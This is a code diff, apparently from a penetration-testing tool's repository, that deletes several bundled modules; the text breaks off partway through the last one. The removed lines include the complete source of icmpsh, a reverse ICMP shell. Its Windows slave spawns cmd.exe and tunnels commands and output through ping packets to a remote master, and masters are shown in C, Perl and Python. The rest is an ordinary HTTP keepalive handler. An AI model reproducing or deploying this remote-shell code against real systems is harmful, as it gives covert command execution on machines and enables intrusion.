-# by the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
-
-pass

extra/icmpsh/README.txt

@@ -1,45 +0,0 @@
-icmpsh - simple reverse ICMP shell
-
-icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl.
-
-
---- Running the Master ---
-
-The master is straight forward to use. There are no extra libraries required for the C version. 
-The Perl master however has the following dependencies:
-
-	* IO::Socket
-	* NetPacket::IP
-	* NetPacket::ICMP
-
-
-When running the master, don't forget to disable ICMP replies by the OS. For example:
-
-	sysctl -w net.ipv4.icmp_echo_ignore_all=1
-
-If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive
-commands send from the master.
-
-
---- Running the Slave ---
-
-The slave comes with a few command line options as outlined below:
-
-
--t host            host ip address to send ping requests to. This option is mandatory!
-
--r                 send a single test icmp request containing the string "Test1234" and then quit. 
-		   This is for testing the connection.
-
--d milliseconds    delay between requests in milliseconds 
-
--o milliseconds    timeout of responses in milliseconds. If a response has not received in time, 
-		   the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit.
-                   The counter is set back to 0 if a response was received.
-
--b num             limit of blanks (unanswered icmp requests before quitting
-
--s bytes           maximal data buffer size in bytes
-
-
-In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer.

extra/icmpsh/__init__.py

@@ -1,22 +0,0 @@
-#!/usr/bin/env python
-#
-#  icmpsh - simple icmp command shell (port of icmpsh-m.pl written in
-#  Perl by Nico Leidecker <[email protected]>)
-#
-#  Copyright (c) 2010, Bernardo Damele A. G. <[email protected]>
-#
-#
-#  This program is free software: you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation, either version 3 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY; without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#  GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program.  If not, see <http://www.gnu.org/licenses/>.
-
-pass

extra/icmpsh/icmpsh-m.c

@@ -1,134 +0,0 @@
-/*
- *   icmpsh - simple icmp command shell
- *   Copyright (c) 2010, Nico Leidecker <[email protected]>
- *   This program is free software: you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation, either version 3 of the License, or
- *   (at your option) any later version.
- *
- *    This program is distributed in the hope that it will be useful,
- *    but WITHOUT ANY WARRANTY; without even the implied warranty of
- *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *    GNU General Public License for more details.
- *
- *    You should have received a copy of the GNU General Public License
- *    along with this program.  If not, see <http://www.gnu.org/licenses/>.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <netinet/in.h>
-#include <netinet/ip_icmp.h>
-#include <netinet/ip.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-
-#define IN_BUF_SIZE   1024
-#define OUT_BUF_SIZE  64
-
-// calculate checksum
-unsigned short checksum(unsigned short *ptr, int nbytes)
-{
-    unsigned long sum;
-    unsigned short oddbyte, rs;
-
-    sum = 0;
-    while(nbytes > 1) {
-        sum += *ptr++;
-        nbytes -= 2;
-    }
-
-    if(nbytes == 1) {
-        oddbyte = 0;
-        *((unsigned char *) &oddbyte) = *(u_char *)ptr;
-        sum += oddbyte;
-    }
-
-    sum  = (sum >> 16) + (sum & 0xffff);
-    sum += (sum >> 16);
-    rs = ~sum;
-    return rs;
-}
-
-int main(int argc, char **argv)
-{
-    int sockfd;
-    int flags;
-    char in_buf[IN_BUF_SIZE];
-    char out_buf[OUT_BUF_SIZE];
-    unsigned int out_size;
-    int nbytes;
-    struct iphdr *ip;
-    struct icmphdr *icmp;
-    char *data;
-    struct sockaddr_in addr;
-
-
-    printf("icmpsh - master\n");
-    
-    // create raw ICMP socket
-    sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
-    if (sockfd == -1) {
-       perror("socket");
-       return -1;
-    }
-
-    // set stdin to non-blocking
-    flags = fcntl(0, F_GETFL, 0);
-    flags |= O_NONBLOCK;
-    fcntl(0, F_SETFL, flags);
-
-    printf("running...\n");
-    while(1) {
-
-        // read data from socket
-        memset(in_buf, 0x00, IN_BUF_SIZE);
-        nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
-        if (nbytes > 0) {
-            // get ip and icmp header and data part
-            ip = (struct iphdr *) in_buf;
-            if (nbytes > sizeof(struct iphdr)) {
-                nbytes -= sizeof(struct iphdr);
-                icmp = (struct icmphdr *) (ip + 1);
-                if (nbytes > sizeof(struct icmphdr)) {
-                    nbytes -= sizeof(struct icmphdr);
-                    data = (char *) (icmp + 1);
-                    data[nbytes] = '\0';
-                    printf("%s", data);
-                    fflush(stdout);
-                }
-                
-                // reuse headers
-                icmp->type = 0;
-                addr.sin_family = AF_INET;
-                addr.sin_addr.s_addr = ip->saddr;
-        
-                // read data from stdin
-                nbytes = read(0, out_buf, OUT_BUF_SIZE);
-                if (nbytes > -1) {
-                    memcpy((char *) (icmp + 1), out_buf, nbytes);
-                    out_size = nbytes;
-                } else {
-                    out_size = 0;
-                }
-
-                icmp->checksum = 0x00;
-                icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
-
-                // send reply
-                nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
-                if (nbytes == -1) {
-                    perror("sendto");
-                    return -1;
-                }        
-            }
-        }
-    }
-
-    return 0;
-}
-

extra/icmpsh/icmpsh-m.pl

@@ -1,62 +0,0 @@
-#!/usr/bin/env perl
-#
-#  icmpsh - simple icmp command shell
-#  Copyright (c) 2010, Nico Leidecker <[email protected]>
-#  This program is free software: you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation, either version 3 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY; without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#  GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
-
-
-
-use strict;
-use IO::Socket;
-use NetPacket::IP;
-use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO);
-use Net::RawIP;
-use Fcntl;
-
-print "icmpsh - master\n";
-
-# create raw socket
-my $sock = IO::Socket::INET->new(
-                Proto   => "ICMP",
-                Type    => SOCK_RAW,
-                Blocking => 1) or die "$!";
-
-# set stdin to non-blocking
-fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!";
-
-print "running...\n";
-
-my $input = '';
-while(1) {
-        if ($sock->recv(my $buffer, 4096, 0)) {
-                my $ip = NetPacket::IP->decode($buffer);
-                my $icmp = NetPacket::ICMP->decode($ip->{data});
-                if ($icmp->{type} == ICMP_ECHO) {
-                        # get identifier and sequencenumber
-                        my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data});
-
-                        # write data to stdout and read from stdin
-                        print $data;
-                        $input = <STDIN>;
-
-                        # compile and send response
-                        $icmp->{type} = ICMP_ECHOREPLY;
-                        $icmp->{data} = pack("SSa*", $ident, $seq, $input);
-                        my $raw = $icmp->encode();
-                        my $addr = sockaddr_in(0, inet_aton($ip->{src_ip}));
-                        $sock->send($raw, 0, $addr) or die "$!\n";
-                }
-        }
-}

extra/icmpsh/icmpsh-s.c

@@ -1,346 +0,0 @@
-/*
- *   icmpsh - simple icmp command shell
- *   Copyright (c) 2010, Nico Leidecker <[email protected]>
- *   This program is free software: you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation, either version 3 of the License, or
- *   (at your option) any later version.
- *
- *    This program is distributed in the hope that it will be useful,
- *    but WITHOUT ANY WARRANTY; without even the implied warranty of
- *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *    GNU General Public License for more details.
- *
- *    You should have received a copy of the GNU General Public License
- *    along with this program.  If not, see <http://www.gnu.org/licenses/>.
- */
-
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <winsock2.h>
-#include <windows.h>
-#include <winsock2.h>
-#include <iphlpapi.h>
-
-#define ICMP_HEADERS_SIZE	(sizeof(ICMP_ECHO_REPLY) + 8)
-
-#define STATUS_OK					0
-#define STATUS_SINGLE				1
-#define STATUS_PROCESS_NOT_CREATED	2
-
-#define TRANSFER_SUCCESS			1
-#define TRANSFER_FAILURE			0
-
-#define DEFAULT_TIMEOUT			    3000
-#define DEFAULT_DELAY			    200
-#define DEFAULT_MAX_BLANKS	   	    10
-#define DEFAULT_MAX_DATA_SIZE	    64
-
-FARPROC icmp_create, icmp_send, to_ip;
-
-int verbose = 0;
-
-int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
-{
-	SECURITY_ATTRIBUTES sattr;
-	STARTUPINFOA si;
-	HANDLE in_read, out_write;
-
-	memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
-	memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
-    
-	// create communication pipes  
-	memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
-	sattr.nLength = sizeof(SECURITY_ATTRIBUTES); 
-	sattr.bInheritHandle = TRUE; 
-	sattr.lpSecurityDescriptor = NULL; 
-
-	if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
-		return STATUS_PROCESS_NOT_CREATED;
-	}
-	if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
-		return STATUS_PROCESS_NOT_CREATED;
-	}
-
-	if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
-		return STATUS_PROCESS_NOT_CREATED;
-	}
-	if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
-		return STATUS_PROCESS_NOT_CREATED;
-	}
-
-	// spawn process
-	memset(&si, 0x00, sizeof(STARTUPINFO));
-	si.cb = sizeof(STARTUPINFO); 
-	si.hStdError = out_write;
-	si.hStdOutput = out_write;
-	si.hStdInput = in_read;
-	si.dwFlags |= STARTF_USESTDHANDLES;
-
-	if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
-		return STATUS_PROCESS_NOT_CREATED;
-	}
-
-	CloseHandle(out_write);
-	CloseHandle(in_read);
-
-	return STATUS_OK;
-}
-
-void usage(char *path)
-{
-	printf("%s [options] -t target\n", path);
-	printf("options:\n");
-	printf("  -t host            host ip address to send ping requests to\n");
-	printf("  -r                 send a single test icmp request and then quit\n");
-	printf("  -d milliseconds    delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
-	printf("  -o milliseconds    timeout in milliseconds\n");
-	printf("  -h                 this screen\n");
-	printf("  -b num             maximal number of blanks (unanswered icmp requests)\n");
-    printf("                     before quitting\n");
-	printf("  -s bytes           maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
-	printf("In order to improve the speed, lower the delay (-d) between requests or\n");
-    printf("increase the size (-s) of the data buffer\n");
-}
-
-void create_icmp_channel(HANDLE *icmp_chan)
-{
-	// create icmp file
-	*icmp_chan = (HANDLE) icmp_create();
-}
-
-int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
-{
-	int rs;
-	char *temp_in_buf;
-	int nbytes;
-
-	PICMP_ECHO_REPLY echo_reply;
-
-	temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
-	if (!temp_in_buf) {
-		return TRANSFER_FAILURE;
-	}
-
-	// send data to remote host
-	rs = icmp_send(
-			icmp_chan,
-			target,
-			out_buf,
-			out_buf_size,
-			NULL,
-			temp_in_buf,
-			max_in_data_size + ICMP_HEADERS_SIZE,
-			timeout);
-
-		// check received data
-		if (rs > 0) {
-			echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
-			if (echo_reply->DataSize > max_in_data_size) {
-				nbytes = max_in_data_size;
-			} else {
-				nbytes = echo_reply->DataSize;
-			}
-			memcpy(in_buf, echo_reply->Data, nbytes);
-			*in_buf_size = nbytes;
-
-			free(temp_in_buf);
-			return TRANSFER_SUCCESS;
-		}
-
-		free(temp_in_buf);
-
-    return TRANSFER_FAILURE;
-}
-
-int load_deps()
-{
-	HMODULE lib;
-	
-	lib = LoadLibraryA("ws2_32.dll");
-	if (lib != NULL) {
-        to_ip = GetProcAddress(lib, "inet_addr");
-        if (!to_ip) {   
-            return 0;
-        }
-    }
-
-	lib = LoadLibraryA("iphlpapi.dll");
-	if (lib != NULL) {
-		icmp_create = GetProcAddress(lib, "IcmpCreateFile");
-		icmp_send = GetProcAddress(lib, "IcmpSendEcho");
-		if (icmp_create && icmp_send) {
-			return 1;
-		}
-	} 
-
-	lib = LoadLibraryA("ICMP.DLL");
-	if (lib != NULL) {
-		icmp_create = GetProcAddress(lib, "IcmpCreateFile");
-		icmp_send = GetProcAddress(lib, "IcmpSendEcho");
-		if (icmp_create && icmp_send) {
-			return 1;
-		}
-	}
-	
-	printf("failed to load functions (%u)", GetLastError());
-
-	return 0;
-}
-int main(int argc, char **argv)
-{
-	int opt;
-	char *target;
-	unsigned int delay, timeout;
-	unsigned int ip_addr;
-	HANDLE pipe_read, pipe_write;
-	HANDLE icmp_chan;
-	unsigned char *in_buf, *out_buf;
-	unsigned int in_buf_size, out_buf_size;
-	DWORD rs;
-	int blanks, max_blanks;
-	PROCESS_INFORMATION pi;
-	int status;
-	unsigned int max_data_size;
-	struct hostent *he;
-
-
-	// set defaults
-	target = 0;
-	timeout = DEFAULT_TIMEOUT;
-	delay = DEFAULT_DELAY;
-	max_blanks = DEFAULT_MAX_BLANKS;
-	max_data_size = DEFAULT_MAX_DATA_SIZE;
-
-	status = STATUS_OK;
-	if (!load_deps()) {
-		printf("failed to load ICMP library\n");
-		return -1;
-	}
-
-	// parse command line options
-	for (opt = 1; opt < argc; opt++) {
-		if (argv[opt][0] == '-') {
-			switch(argv[opt][1]) {
-				case 'h':
-				    usage(*argv);
-					return 0;
-				case 't':
-					if (opt + 1 < argc) {
-						target = argv[opt + 1];
-					}
-					break;
-				case 'd':
-					if (opt + 1 < argc) {
-						delay = atol(argv[opt + 1]);
-					}
-					break;
-				case 'o':
-					if (opt + 1 < argc) {
-						timeout = atol(argv[opt + 1]);
-					}
-					break;
-				case 'r':
-					status = STATUS_SINGLE;
-					break;
-				case 'b':
-					if (opt + 1 < argc) {
-						max_blanks = atol(argv[opt + 1]);
-					}
-					break;
-				case 's':
-					if (opt + 1 < argc) {
-						max_data_size = atol(argv[opt + 1]);
-					}
-					break;
-				default:
-					printf("unrecognized option -%c\n", argv[1][0]);
-					usage(*argv);
-					return -1;
-			}
-		}
-	}
-
-	if (!target) {
-		printf("you need to specify a host with -t. Try -h for more options\n");
-		return -1;
-	}
-	ip_addr = to_ip(target);
-
-	// don't spawn a shell if we're only sending a single test request
-	if (status != STATUS_SINGLE) {
-		status = spawn_shell(&pi, &pipe_read, &pipe_write);
-	}
-
-	// create icmp channel
-	create_icmp_channel(&icmp_chan);
-	if (icmp_chan == INVALID_HANDLE_VALUE) {
-	    printf("unable to create ICMP file: %u\n", GetLastError());
-	    return -1;
-	}
-
-	// allocate transfer buffers
-	in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
-	out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
-	if (!in_buf || !out_buf) {
-		printf("failed to allocate memory for transfer buffers\n");
-		return -1;
-	}
-	memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
-	memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
-
-	// sending/receiving loop
-	blanks = 0;
-	do {
-
-		switch(status) {
-			case STATUS_SINGLE:
-				// reply with a static string
-				out_buf_size = sprintf(out_buf, "Test1234\n");
-				break;
-			case STATUS_PROCESS_NOT_CREATED:
-				// reply with error message
-				out_buf_size = sprintf(out_buf, "Process was not created\n");
-				break;
-			default:
-				// read data from process via pipe
-				out_buf_size = 0;
-				if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
-					if (out_buf_size > 0) {
-						out_buf_size = 0;
-						rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
-						if (!rs && GetLastError() != ERROR_IO_PENDING) {
-							out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
-						} 
-					}
-				} else {
-					out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
-				}
-				break;
-		}
-
-		// send request/receive response
-		if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size,  max_data_size, timeout) == TRANSFER_SUCCESS) {
-			if (status == STATUS_OK) {
-				// write data from response back into pipe
-				WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
-			}
-			blanks = 0;
-		} else {
-			// no reply received or error occured
-			blanks++;
-		}
-
-		// wait between requests
-		Sleep(delay);
-
-	} while (status == STATUS_OK && blanks < max_blanks);
-
-	if (status == STATUS_OK) {
-		TerminateProcess(pi.hProcess, 0);
-	}
-
-    return 0;
-}
-

extra/icmpsh/icmpsh_m.py

@@ -1,138 +0,0 @@
-#!/usr/bin/env python
-#
-#  icmpsh - simple icmp command shell (port of icmpsh-m.pl written in
-#  Perl by Nico Leidecker <[email protected]>)
-#
-#  Copyright (c) 2010, Bernardo Damele A. G. <[email protected]>
-#
-#
-#  This program is free software: you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation, either version 3 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY; without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#  GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program.  If not, see <http://www.gnu.org/licenses/>.
-
-import os
-import select
-import socket
-import subprocess
-import sys
-
-def setNonBlocking(fd):
-    """
-    Make a file descriptor non-blocking
-    """
-
-    import fcntl
-
-    flags = fcntl.fcntl(fd, fcntl.F_GETFL)
-    flags = flags | os.O_NONBLOCK
-    fcntl.fcntl(fd, fcntl.F_SETFL, flags)
-
-def main(src, dst):
-    if subprocess.mswindows:
-        sys.stderr.write('icmpsh master can only run on Posix systems\n')
-        sys.exit(255)
-
-    try:
-        from impacket import ImpactDecoder
-        from impacket import ImpactPacket
-    except ImportError:
-        sys.stderr.write('You need to install Python Impacket library first\n')
-        sys.exit(255)
-
-    # Make standard input a non-blocking file
-    stdin_fd = sys.stdin.fileno()
-    setNonBlocking(stdin_fd)
-
-    # Open one socket for ICMP protocol
-    # A special option is set on the socket so that IP headers are included
-    # with the returned data
-    try:
-        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
-    except socket.error, e:
-        sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
-        sys.exit(1)
-
-    sock.setblocking(0)
-    sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
-
-    # Create a new IP packet and set its source and destination addresses
-    ip = ImpactPacket.IP()
-    ip.set_ip_src(src)
-    ip.set_ip_dst(dst)
-
-    # Create a new ICMP packet of type ECHO REPLY
-    icmp = ImpactPacket.ICMP()
-    icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
-
-    # Instantiate an IP packets decoder
-    decoder = ImpactDecoder.IPDecoder()
-
-    while 1:
-        cmd = ''
-
-        # Wait for incoming replies
-        if sock in select.select([ sock ], [], [])[0]:
-            buff = sock.recv(4096)
-
-            if 0 == len(buff):
-                # Socket remotely closed
-                sock.close()
-                sys.exit(0)
-
-            # Packet received; decode and display it
-            ippacket = decoder.decode(buff)
-            icmppacket = ippacket.child()
-
-            # If the packet matches, report it to the user
-            if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
-                # Get identifier and sequence number
-                ident = icmppacket.get_icmp_id()
-                seq_id = icmppacket.get_icmp_seq()
-                data = icmppacket.get_data_as_string()
-
-                if len(data) > 0:
-                    sys.stdout.write(data)
-
-                # Parse command from standard input
-                try:
-                    cmd = sys.stdin.readline()
-                except:
-                    pass
-
-                if cmd == 'exit\n':
-                    return
-
-                # Set sequence number and identifier
-                icmp.set_icmp_id(ident)
-                icmp.set_icmp_seq(seq_id)
-
-                # Include the command as data inside the ICMP packet
-                icmp.contains(ImpactPacket.Data(cmd))
-
-                # Calculate its checksum
-                icmp.set_icmp_cksum(0)
-                icmp.auto_checksum = 1
-
-                # Have the IP packet contain the ICMP packet (along with its payload)
-                ip.contains(icmp)
-
-                # Send it to the target host
-                sock.sendto(ip.get_packet(), (dst, 0))
-
-if __name__ == '__main__':
-    if len(sys.argv) < 3:
-        msg = 'missing mandatory options. Execute as root:\n'
-        msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
-        sys.stderr.write(msg)
-        sys.exit(1)
-
-    main(sys.argv[1], sys.argv[2])

extra/keepalive/__init__.py

@@ -1,19 +0,0 @@
-#!/usr/bin/env python
-#
-# Copyright 2002-2003 Michael D. Stenner
-#
-# This program is free software: you can redistribute it and/or modify it
-# under the terms of the GNU Lesser General Public License as published
-# by the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
-
-pass

extra/keepalive/keepalive.py

@@ -1,463 +0,0 @@
-#!/usr/bin/env python
-#
-# Copyright 2002-2003 Michael D. Stenner
-#
-# This program is free software: you can redistribute it and/or modify it
-# under the terms of the GNU Lesser General Public License as published
-# by the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
-
-"""An HTTP handler for urllib2 that supports HTTP 1.1 and keepalive.
-
-  import urllib2
-  from keepalive import HTTPHandler
-  keepalive_handler = HTTPHandler()
-  opener = urllib2.build_opener(keepalive_handler)
-  urllib2.install_opener(opener)
-
-  fo = urllib2.urlopen('http://www.python.org')
-
-To remove the handler, simply re-run build_opener with no arguments, and
-install that opener.
-
-You can explicitly close connections by using the close_connection()
-method of the returned file-like object (described below) or you can
-use the handler methods:
-
-  close_connection(host)
-  close_all()
-  open_connections()
-
-Example:
-
-  keepalive_handler.close_all()
-
-EXTRA ATTRIBUTES AND METHODS
-
-  Upon a status of 200, the object returned has a few additional
-  attributes and methods, which should not be used if you want to
-  remain consistent with the normal urllib2-returned objects:
-
-    close_connection()  -  close the connection to the host
-    readlines()         -  you know, readlines()
-    status              -  the return status (ie 404)
-    reason              -  english translation of status (ie 'File not found')
-
-  If you want the best of both worlds, use this inside an
-  AttributeError-catching try:
-
-    try: status = fo.status
-    except AttributeError: status = None
-
-  Unfortunately, these are ONLY there if status == 200, so it's not
-  easy to distinguish between non-200 responses.  The reason is that
-  urllib2 tries to do clever things with error codes 301, 302, 401,
-  and 407, and it wraps the object upon return.
-
-  You can optionally set the module-level global HANDLE_ERRORS to 0,
-  in which case the handler will always return the object directly.
-  If you like the fancy handling of errors, don't do this.  If you
-  prefer to see your error codes, then do.
-
-"""
-from httplib import _CS_REQ_STARTED, _CS_REQ_SENT, _CS_IDLE, CannotSendHeader
-
-from lib.core.common import encodeUnicode
-from lib.core.data import kb
-
-import threading
-import urllib2
-import httplib
-import socket
-
-VERSION = (0, 1)
-#STRING_VERSION = '.'.join(map(str, VERSION))
-DEBUG = 0
-HANDLE_ERRORS = 1
-
-class HTTPHandler(urllib2.HTTPHandler):
-    def __init__(self):
-        self._connections = {}
-
-    def close_connection(self, host):
-        """close connection to <host>
-        host is the host:port spec, as in 'www.cnn.com:8080' as passed in.
-        no error occurs if there is no connection to that host."""
-        self._remove_connection(host, close=1)
-
-    def open_connections(self):
-        """return a list of connected hosts"""
-        retVal = []
-        currentThread = threading.currentThread()
-        for name, host in self._connections.keys():
-            if name == currentThread.getName():
-                retVal.append(host)
-        return retVal
-
-    def close_all(self):
-        """close all open connections"""
-        for _, conn in self._connections.items():
-            conn.close()
-        self._connections = {}
-
-    def _remove_connection(self, host, close=0):
-        key = self._get_connection_key(host)
-        if self._connections.has_key(key):
-            if close: self._connections[key].close()
-            del self._connections[key]
-
-    def _get_connection_key(self, host):
-        return (threading.currentThread().getName(), host)
-
-    def _start_connection(self, h, req):
-        h.clearheaders()
-        try:
-            if req.has_data():
-                data = req.get_data()
-                h.putrequest('POST', req.get_selector())
-                if not req.headers.has_key('Content-type'):
-                    req.headers['Content-type'] = 'application/x-www-form-urlencoded'
-                if not req.headers.has_key('Content-length'):
-                    req.headers['Content-length'] = '%d' % len(data)
-            else:
-                h.putrequest('GET', req.get_selector())
-
-            if not req.headers.has_key('Connection'):
-                req.headers['Connection'] = 'keep-alive'
-
-            for args in self.parent.addheaders:
-                h.putheader(*args)
-            for k, v in req.headers.items():
-                h.putheader(k, v)
-            h.endheaders()
-            if req.has_data():
-                h.send(data)
-        except socket.error, err:
-            h.close()
-            raise urllib2.URLError(err)
-
-    def do_open(self, http_class, req):
-        h = None
-        host = req.get_host()
-        if not host:
-            raise urllib2.URLError('no host given')
-
-        try:
-            need_new_connection = 1
-            key = self._get_connection_key(host)
-            h = self._connections.get(key)
-            if not h is None:
-                try:
-                    self._start_connection(h, req)
-                except:
-                    r = None
-                else:
-                    try: r = h.getresponse()
-                    except httplib.ResponseNotReady, e: r = None
-                    except httplib.BadStatusLine, e: r = None
-
-                if r is None or r.version == 9:
-                    # httplib falls back to assuming HTTP 0.9 if it gets a
-                    # bad header back.  This is most likely to happen if
-                    # the socket has been closed by the server since we
-                    # last used the connection.
-                    if DEBUG: print "failed to re-use connection to %s" % host
-                    h.close()
-                else:
-                    if DEBUG: print "re-using connection to %s" % host
-                    need_new_connection = 0
-            if need_new_connection:
-                if DEBUG: print "creating new connection to %s" % host
-                h = http_class(host)
-                self._connections[key] = h
-                self._start_connection(h, req)
-                r = h.getresponse()
-        except socket.error, err:
-            if h: h.close()
-            raise urllib2.URLError(err)
-
-        # if not a persistent connection, don't try to reuse it
-        if r.will_close: self._remove_connection(host)
-
-        if DEBUG:
-            print "STATUS: %s, %s" % (r.status, r.reason)
-        r._handler = self
-        r._host = host
-        r._url = req.get_full_url()
-
-        #if r.status == 200 or not HANDLE_ERRORS:
-            #return r
-        if r.status == 200 or not HANDLE_ERRORS:
-            # [speedplane] Must return an adinfourl object
-            resp = urllib2.addinfourl(r, r.msg, req.get_full_url())
-            resp.code = r.status
-            resp.msg = r.reason
-            return resp;
-        else:
-            return self.parent.error('http', req, r, r.status, r.reason, r.msg)
-
-    def http_open(self, req):
-        return self.do_open(HTTPConnection, req)
-
-class HTTPResponse(httplib.HTTPResponse):
-
-    # we need to subclass HTTPResponse in order to
-    # 1) add readline() and readlines() methods
-    # 2) add close_connection() methods
-    # 3) add info() and geturl() methods
-
-    # in order to add readline(), read must be modified to deal with a
-    # buffer.  example: readline must read a buffer and then spit back
-    # one line at a time.  The only real alternative is to read one
-    # BYTE at a time (ick).  Once something has been read, it can't be
-    # put back (ok, maybe it can, but that's even uglier than this),
-    # so if you THEN do a normal read, you must first take stuff from
-    # the buffer.
-
-    # the read method wraps the original to accomodate buffering,
-    # although read() never adds to the buffer.
-    # Both readline and readlines have been stolen with almost no
-    # modification from socket.py
-
-
-    def __init__(self, sock, debuglevel=0, strict=0, method=None):
-        if method: # the httplib in python 2.3 uses the method arg
-            httplib.HTTPResponse.__init__(self, sock, debuglevel, method)
-        else: # 2.2 doesn't
-            httplib.HTTPResponse.__init__(self, sock, debuglevel)
-        self.fileno = sock.fileno
-        self._rbuf = ''
-        self._rbufsize = 8096
-        self._handler = None # inserted by the handler later
-        self._host = None    # (same)
-        self._url = None     # (same)
-
-    _raw_read = httplib.HTTPResponse.read
-
-    def close_connection(self):
-        self.close()
-        self._handler._remove_connection(self._host, close=1)
-
-    def info(self):
-        return self.msg
-
-    def geturl(self):
-        return self._url
-
-    def read(self, amt=None):
-        # the _rbuf test is only in this first if for speed.  It's not
-        # logically necessary
-        if self._rbuf and not amt is None:
-            L = len(self._rbuf)
-            if amt > L:
-                amt -= L
-            else:
-                s = self._rbuf[:amt]
-                self._rbuf = self._rbuf[amt:]
-                return s
-
-        s = self._rbuf + self._raw_read(amt)
-        self._rbuf = ''
-        return s
-
-    def readline(self, limit=-1):
-        data = ""
-        i = self._rbuf.find('\n')
-        while i < 0 and not (0 < limit <= len(self._rbuf)):
